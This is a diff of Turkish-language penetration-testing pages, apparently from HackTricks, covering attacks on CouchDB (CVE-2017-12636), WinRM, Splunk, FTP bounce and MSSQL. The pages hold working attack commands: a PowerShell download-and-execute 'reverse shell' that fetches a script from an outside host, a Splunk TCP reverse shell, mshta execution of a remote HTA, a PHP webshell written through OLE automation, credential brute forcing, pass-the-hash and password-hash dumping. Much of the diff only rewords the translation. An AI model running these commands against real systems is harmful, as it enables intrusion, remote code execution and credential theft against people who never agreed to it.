CouchDB süreci aracılığıyla kod yürütülmesine olanak tanıyan CVE-2017-12636 olarak bilinen bir zafiyet incelendi; ancak belirli yapılandırmalar istismarını engelleyebilir. Çevrimiçi olarak mevcut olan birçok Kanıtı Konsept (POC) referansına rağmen, zafiyeti CouchDB sürüm 2'de istismar etmek için ayarlamalar gereklidir; bu, genellikle hedef alınan sürüm 1.x'ten farklıdır. İlk adımlar, CouchDB sürümünü doğrulamayı ve beklenen sorgu sunucuları yolunun yokluğunu onaylamayı içerir:
|
||||
```bash
|
||||
curl http://localhost:5984
|
||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
@ -188,22 +188,22 @@ Yeni bir sorgu sunucusu ekleme ve çağırma girişimleri, aşağıdaki çıktı
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
Daha fazla araştırma, yazılamayan `local.ini` dosyasıyla ilgili izin sorunlarını ortaya çıkardı. Dosya izinlerini root veya homer erişimi ile değiştirerek devam etmek mümkün hale geldi:
|
||||
Daha fazla araştırma, yazılabilir olmayan `local.ini` dosyasıyla ilgili izin sorunlarını ortaya çıkardı. Dosya izinlerini root veya homer erişimi ile değiştirerek devam etmek mümkün hale geldi:
|
||||
```bash
|
||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||
chmod 666 /home/homer/etc/local.ini
|
||||
```
|
||||
Sonraki sorgu sunucusu ekleme girişimleri başarılı oldu; bu, yanıttaki hata mesajlarının olmamasıyla gösterilmektedir. `local.ini` dosyasının başarılı bir şekilde değiştirilmesi dosya karşılaştırmasıyla doğrulandı:
|
||||
Sonraki sorgu sunucusu ekleme girişimleri başarılı oldu; bu, yanıttaki hata mesajlarının yokluğuyla gösterilmektedir. `local.ini` dosyasındaki başarılı değişiklik, dosya karşılaştırmasıyla doğrulandı:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna özel bir görünüm eşlemesi aracılığıyla kodu çalıştırma girişimi yapıldı:
|
||||
Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna özel bir görünüm eşlemesi aracılığıyla kod çalıştırma girişimi yapıldı:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||
```
|
||||
Bir [**özet**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) alternatif bir yük ile belirli koşullar altında CVE-2017-12636'nin istismarına dair daha fazla bilgi sunmaktadır. Bu güvenlik açığını istismar etmek için **yararlı kaynaklar** şunlardır:
|
||||
Bir [**özet**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) alternatif bir yük ile belirli koşullar altında CVE-2017-12636'nın istismarına dair daha fazla bilgi sunmaktadır. Bu güvenlik açığını istismar etmek için **yararlı kaynaklar** şunlardır:
|
||||
|
||||
- [POC exploit kodu](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Exploit Database girişi](https://www.exploit-db.com/exploits/44913/)
|
||||
|
||||
@ -4,70 +4,70 @@
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin uzaktan yönetimini** HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenmektedir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar.
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>), **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin uzaktan yönetimini** HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenmektedir ve WMI işlemleri için HTTP tabanlı bir arayüz sunar.
|
||||
|
||||
Bir makinede WinRM'in varlığı, PowerShell aracılığıyla basit uzaktan yönetim sağlar; bu, diğer işletim sistemleri için SSH'nin nasıl çalıştığına benzer. WinRM'in çalışıp çalışmadığını belirlemek için belirli portların açılıp açılmadığını kontrol etmek önerilir:
|
||||
|
||||
- **5985/tcp (HTTP)**
|
||||
- **5986/tcp (HTTPS)**
|
||||
|
||||
Yukarıdaki listeden açık bir port, WinRM'in yapılandırıldığını gösterir ve böylece uzaktan bir oturum başlatma girişimlerine izin verir.
|
||||
Yukarıdaki listeden açık bir port, WinRM'in kurulu olduğunu gösterir ve böylece uzaktan bir oturum başlatma girişimlerine izin verir.
|
||||
|
||||
### **WinRM Oturumu Başlatma**
|
||||
|
||||
PowerShell'i WinRM için yapılandırmak üzere, Microsoft'un `Enable-PSRemoting` cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul edecek şekilde ayarlar. Yükseltilmiş PowerShell erişimi ile, bu işlevselliği etkinleştirmek ve herhangi bir hostu güvenilir olarak belirlemek için aşağıdaki komutlar çalıştırılabilir:
|
||||
```powershell
|
||||
```bash
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
Bu yaklaşım, `trustedhosts` yapılandırmasına bir joker karakter eklemeyi içerir; bu adım, sonuçları nedeniyle dikkatli bir değerlendirme gerektirir. Ayrıca, saldırganın makinesinde ağ türünün "Public"ten "Work"e değiştirilmesinin gerekli olabileceği de belirtilmiştir.
|
||||
Bu yaklaşım, `trustedhosts` yapılandırmasına bir joker karakter eklemeyi içerir; bu adım, sonuçları nedeniyle dikkatli bir değerlendirme gerektirir. Ayrıca, saldırganın makinesinde ağ türünün "Genel"den "İş"e değiştirilmesinin gerekli olabileceği de belirtilmiştir.
|
||||
|
||||
Ayrıca, WinRM `wmic` komutu kullanılarak **uzaktan etkinleştirilebilir**, aşağıdaki gibi gösterilmiştir:
|
||||
```powershell
|
||||
```bash
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
Bu yöntem, uzaktan WinRM kurulumu yapmayı sağlar ve Windows makinelerini uzaktan yönetme esnekliğini artırır.
|
||||
|
||||
### Yapılandırıldığını Test Et
|
||||
### Yapılandırıldığını test et
|
||||
|
||||
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin düzgün yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
|
||||
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin doğru bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
|
||||
|
||||
- **doğru** yapılandırılmış bir hedef için, çıktı buna benzer görünecektir:
|
||||
- **Doğru** bir şekilde yapılandırılmış bir hedef için, çıktı aşağıdaki gibi görünecektir:
|
||||
```bash
|
||||
Test-WSMan <target-ip>
|
||||
```
|
||||
Yanıt, WinRM'nin doğru bir şekilde yapılandırıldığını belirten protokol sürümü ve wsmid hakkında bilgi içermelidir.
|
||||
Yanıt, protokol sürümü ve wsmid hakkında bilgi içermelidir; bu, WinRM'nin doğru bir şekilde yapılandırıldığını gösterir.
|
||||
|
||||
.png>)
|
||||
|
||||
- Aksine, WinRM için **yapılandırılmamış** bir hedef için, böyle ayrıntılı bir bilgi elde edilemeyecek ve uygun bir WinRM yapılandırmasının yokluğunu vurgulayacaktır.
|
||||
- Aksine, WinRM için **yapılandırılmamış** bir hedef için, böyle ayrıntılı bir bilgi elde edilemeyecek ve bu da uygun bir WinRM yapılandırmasının yokluğunu vurgulayacaktır.
|
||||
|
||||
.png>)
|
||||
|
||||
### Bir komut çalıştır
|
||||
|
||||
Hedef makinede `ipconfig` komutunu uzaktan çalıştırmak ve çıktısını görüntülemek için:
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
.png>)
|
||||
|
||||
Ayrıca, _**Invoke-Command**_ aracılığıyla mevcut PS konsolunuzda bir komut **çalıştırabilirsiniz**. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak** istiyorsunuz, bunu yapabilirsiniz:
|
||||
```powershell
|
||||
Ayrıca, **mevcut PS konsolunuzda bir komut çalıştırabilirsiniz** _**Invoke-Command**_ aracılığıyla. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak istiyorsunuz**, bunu yapabilirsiniz:
|
||||
```bash
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
### Bir Script Çalıştırın
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
### Ters kabuk al
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
### PS oturumu al
|
||||
|
||||
Etkileşimli bir PowerShell kabuğu almak için `Enter-PSSession` kullanın:
|
||||
```powershell
|
||||
```bash
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||||
@ -89,14 +89,14 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
||||
|
||||
### **WinRM'yi Açmaya Zorlama**
|
||||
|
||||
PS Remoting ve WinRM kullanmak istiyorsanız ancak bilgisayar yapılandırılmamışsa, bunu şu şekilde etkinleştirebilirsiniz:
|
||||
```powershell
|
||||
PS Remoting ve WinRM kullanmak için ancak bilgisayar yapılandırılmamışsa, bunu şu şekilde etkinleştirebilirsiniz:
|
||||
```bash
|
||||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
### Oturumları Kaydetme ve Geri Yükleme
|
||||
|
||||
Bu **çalışmayacak** eğer **dil** uzaktaki bilgisayarda **kısıtlıysa**.
|
||||
```powershell
|
||||
Bu **çalışmaz** eğer **dil** uzaktaki bilgisayarda **kısıtlıysa**.
|
||||
```bash
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||||
@ -108,14 +108,14 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
|
||||
Enter-PSSession -Session $sess1
|
||||
```
|
||||
Bu oturumlar içinde _Invoke-Command_ kullanarak PS betikleri yükleyebilirsiniz.
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
```
|
||||
### Hatalar
|
||||
|
||||
Aşağıdaki hatayı bulursanız:
|
||||
|
||||
`enter-pssession : Uzak sunucu 10.10.10.175 ile bağlantı kurma başarısız oldu. Hata mesajı: WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.`
|
||||
`enter-pssession : Uzak sunucu 10.10.10.175'e bağlanma başarısız oldu, hata mesajı: WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.`
|
||||
|
||||
İstemcide deneme (bilgi için [buraya](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
|
||||
### Kaba Kuvvet
|
||||
|
||||
Dikkatli olun, winrm'yi kaba kuvvetle denemek kullanıcıları engelleyebilir.
|
||||
Dikkatli olun, winrm'yi kaba kuvvetle kırmak kullanıcıları engelleyebilir.
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
@ -142,11 +142,11 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
**belgeler**'i github'da okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
**belgeleri** github'dan okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Evil-winrm'i bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayarak o alana bağlanın.
|
||||
Evil-winrm kullanarak bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayarak o alana bağlanın.
|
||||
|
||||
### Hash'i evil-winrm ile geçin
|
||||
```ruby
|
||||
|
||||
@ -4,8 +4,8 @@
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
- Veri toplama, analiz ve görselleştirme için kullanılan log analitik aracı
|
||||
- Güvenlik izleme ve iş analitiğinde yaygın olarak kullanılır
|
||||
- Veri toplama, analiz ve görselleştirme için kullanılan günlük analitik aracı
|
||||
- Güvenlik izleme ve iş analitiği için yaygın olarak kullanılır
|
||||
- Varsayılan portlar:
|
||||
- Web sunucusu: 8000
|
||||
- Splunkd servisi: 8089
|
||||
@ -17,13 +17,13 @@
|
||||
- Deneme sürümü 60 gün sonra otomatik olarak ücretsiz sürüme dönüşür
|
||||
- Ücretsiz sürüm kimlik doğrulama eksikliği taşır
|
||||
- Yönetilmediğinde potansiyel güvenlik riski
|
||||
- Yöneticiler güvenlik sonuçlarını gözden kaçırabilir
|
||||
- Yöneticiler güvenlik etkilerini gözden kaçırabilir
|
||||
|
||||
2. Kimlik Bilgisi Zayıflıkları
|
||||
|
||||
- Eski sürümler: Varsayılan kimlik bilgileri `admin:changeme`
|
||||
- Yeni sürümler: Kurulum sırasında ayarlanan kimlik bilgileri
|
||||
- Zayıf şifre kullanma potansiyeli (örn. `admin`, `Welcome`, `Password123`)
|
||||
- Zayıf şifre kullanma potansiyeli (örn., `admin`, `Welcome`, `Password123`)
|
||||
|
||||
3. Uzaktan Kod Çalıştırma Fırsatları
|
||||
|
||||
@ -57,7 +57,7 @@ Splunk, özel uygulama dağıtımı aracılığıyla uzaktan kod çalıştırma
|
||||
|
||||
Özel bir uygulama **Python, Batch, Bash veya PowerShell scriptleri** çalıştırabilir. Ayrıca, **Splunk ile Python yüklü gelir**, bu nedenle **Windows** sistemlerinde bile python kodu çalıştırabileceksiniz.
|
||||
|
||||
[**bu**](https://github.com/0xjpuff/reverse_shell_splunk) örneğini **`bin`** içeren örnekle kullanabilirsiniz [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) ve [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) için. Ya da kendi uygulamanızı oluşturabilirsiniz.
|
||||
[**bu**](https://github.com/0xjpuff/reverse_shell_splunk) örneğini **`bin`** içeren [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) ve [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) için kullanabilirsiniz. Ya da kendi uygulamanızı oluşturabilirsiniz.
|
||||
|
||||
İstismar süreci, platformlar arasında tutarlı bir metodoloji izler:
|
||||
```
|
||||
@ -79,7 +79,7 @@ Dağıtım basittir:
|
||||
4. Yükleme sırasında otomatik script yürütmesini tetikleyin
|
||||
|
||||
Örnek Windows PowerShell ters shell:
|
||||
```powershell
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
@ -105,7 +105,7 @@ pty.spawn('/bin/bash')
|
||||
```
|
||||
### RCE & Yetki Yükseltme
|
||||
|
||||
Aşağıdaki sayfada bu hizmetin nasıl kötüye kullanılabileceğine dair bir açıklama bulabilirsiniz:
|
||||
Aşağıdaki sayfada bu hizmetin nasıl kötüye kullanılabileceğine dair bir açıklama bulabilirsiniz, yetkileri yükseltmek ve kalıcılık elde etmek için:
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
|
||||
|
||||
@ -12,14 +12,14 @@
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
|
||||
3. **`LIST`** kullanın (bu, bağlı _\<IP:Port>_ ile FTP klasöründeki mevcut dosyaların listesini gönderecektir) ve olası yanıtları kontrol edin: `150 File status okay` (Bu, portun açık olduğu anlamına gelir) veya `425 No connection established` (Bu, portun kapalı olduğu anlamına gelir)
|
||||
3. **`LIST`** kullanın (bu, bağlı _\<IP:Port>_ için FTP klasöründeki mevcut dosyaların listesini gönderecektir) ve olası yanıtları kontrol edin: `150 File status okay` (Bu, portun açık olduğu anlamına gelir) veya `425 No connection established` (Bu, portun kapalı olduğu anlamına gelir)
|
||||
1. `LIST` yerine **`RETR /file/in/ftp`** kullanabilir ve benzer `Open/Close` yanıtlarını arayabilirsiniz.
|
||||
|
||||
**PORT** kullanarak örnek (172.32.80.80'in 8080 portu açık ve 7777 portu kapalı):
|
||||
Örnek **PORT** kullanarak (172.32.80.80'in 8080 portu açık ve 7777 portu kapalı):
|
||||
|
||||
.png>)
|
||||
|
||||
**`EPRT`** kullanarak aynı örnek (kimlik doğrulama resimde atlanmıştır):
|
||||
Aynı örnek **`EPRT`** kullanarak (kimlik doğrulama resimde atlanmıştır):
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve alma işlevine sahip bir yazılım ürünüdür—bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir.
|
||||
> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve alma işlevine sahip bir yazılım ürünüdür; bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir.
|
||||
|
||||
**Varsayılan port:** 1433
|
||||
```
|
||||
@ -18,19 +18,19 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
- **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlama yönetimi yapmak üzere bu veritabanını kullanır.
|
||||
- **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, sıralama, kurtarma modeli gibi değişiklikler, yeni oluşturulan veritabanlarında yansıtılır.
|
||||
- **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, fiziksel olarak Resource veritabanında saklanırken, her veritabanının sys şemasında mantıksal olarak sunulur.
|
||||
- **tempdb Veritabanı**: Geçici nesneler veya ara sonuç setleri için geçici bir depolama alanı olarak hizmet eder.
|
||||
- **tempdb Veritabanı**: Geçici nesneler veya ara sonuç kümeleri için geçici bir depolama alanı olarak hizmet eder.
|
||||
|
||||
## Sayım
|
||||
|
||||
### Otomatik Sayım
|
||||
|
||||
Hizmet hakkında hiçbir şey bilmiyorsanız:
|
||||
Eğer hizmet hakkında hiçbir şey bilmiyorsanız:
|
||||
```bash
|
||||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> Eğer **kimlik bilgilerin yoksa** onları tahmin etmeyi deneyebilirsin. nmap veya metasploit kullanabilirsin. Dikkatli ol, mevcut bir kullanıcı adı ile birkaç kez giriş yapmaya çalışırsan **hesapları engelleyebilirsin**.
|
||||
> Eğer **kimlik bilgilerine** **sahip değilseniz** onları tahmin etmeyi deneyebilirsiniz. nmap veya metasploit kullanabilirsiniz. Dikkatli olun, mevcut bir kullanıcı adı ile birkaç kez giriş yapmaya çalışırsanız **hesapları engelleyebilirsiniz**.
|
||||
|
||||
#### Metasploit (kimlik bilgileri gerekli)
|
||||
```bash
|
||||
@ -159,7 +159,7 @@ SELECT * FROM sysusers
|
||||
- **Sunucu** – Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur.
|
||||
- **Veritabanı** – Örnekler arasında veritabanı rolleri, uygulama rolleri, şemalar, sertifikalar, tam metin katalogları ve kullanıcılar yer alır.
|
||||
- **Şema** – Tablo, görünüm, prosedür, fonksiyon, eşanlamlılar vb. içerir.
|
||||
2. **İzin:** SQL Server securables ile ilişkili olan, ALTER, CONTROL ve CREATE gibi izinler bir prensipe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
|
||||
2. **İzin:** SQL Server securables ile ilişkili olan izinler, ALTER, CONTROL ve CREATE gibi, bir prensipe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
|
||||
- **Sunucu Seviyesi** girişler kullanılarak
|
||||
- **Veritabanı Seviyesi** kullanıcılar kullanılarak
|
||||
3. **Prensip:** Bu terim, bir securable'a izin verilen varlığı ifade eder. Prensipler esas olarak girişler ve veritabanı kullanıcılarını içerir. Securables'a erişim üzerindeki kontrol, izinlerin verilmesi veya reddedilmesi yoluyla veya girişlerin ve kullanıcıların erişim haklarına sahip rollere dahil edilmesiyle sağlanır.
|
||||
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### OS Komutlarını Çalıştır
|
||||
|
||||
> [!CAUTION]
|
||||
> Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** sahip olmanın da gerekli olduğunu unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için:
|
||||
> Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** de sahip olmanız gerektiğini unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
```
|
||||
### Hashlenmiş şifreleri al
|
||||
```bash
|
||||
SELECT * FROM master.sys.syslogins;
|
||||
```
|
||||
### NetNTLM hash'ını Çal / Relay saldırısı
|
||||
|
||||
Kimlik doğrulamada kullanılan hash'i yakalamak için bir **SMB sunucusu** başlatmalısınız (`impacket-smbserver` veya `responder` gibi).
|
||||
@ -286,7 +290,7 @@ Bu araçları nasıl kullanacağınızı görebilirsiniz:
|
||||
|
||||
### **Dosya Yazma**
|
||||
|
||||
`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekir, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız:
|
||||
`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekiyor, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
@ -304,9 +308,9 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
||||
EXECUTE sp_OADestroy @FileID
|
||||
EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **Dosyayı OPENROWSET ile oku**
|
||||
### **OPENROWSET ile dosya oku**
|
||||
|
||||
Varsayılan olarak, `MSSQL` **hesabın okuma erişimine sahip olduğu işletim sistemindeki herhangi bir dosyada okuma yapmaya izin verir**. Aşağıdaki SQL sorgusunu kullanabiliriz:
|
||||
Varsayılan olarak, `MSSQL` **hesabın okuma erişimine sahip olduğu işletim sistemindeki herhangi bir dosyayı okuma** iznine sahiptir. Aşağıdaki SQL sorgusunu kullanabiliriz:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
@ -430,9 +434,9 @@ public void Test()
|
||||
}
|
||||
}
|
||||
```
|
||||
### RCE için Diğer Yöntemler
|
||||
### Diğer RCE Yöntemleri
|
||||
|
||||
Komut yürütme elde etmenin başka yöntemleri vardır, bunlar arasında [genişletilmiş saklı yordamlar](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Derlemeleri](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Görevleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) bulunmaktadır.
|
||||
Komut yürütme elde etmek için [genişletilmiş saklı yordamlar](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Derlemeleri](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Görevleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) gibi diğer yöntemler de vardır.
|
||||
|
||||
## MSSQL Yetki Yükseltme
|
||||
|
||||
@ -477,14 +481,14 @@ Bir **metasploit** modülü kullanabilirsiniz:
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
Ya da bir **PS** scripti:
|
||||
```powershell
|
||||
```bash
|
||||
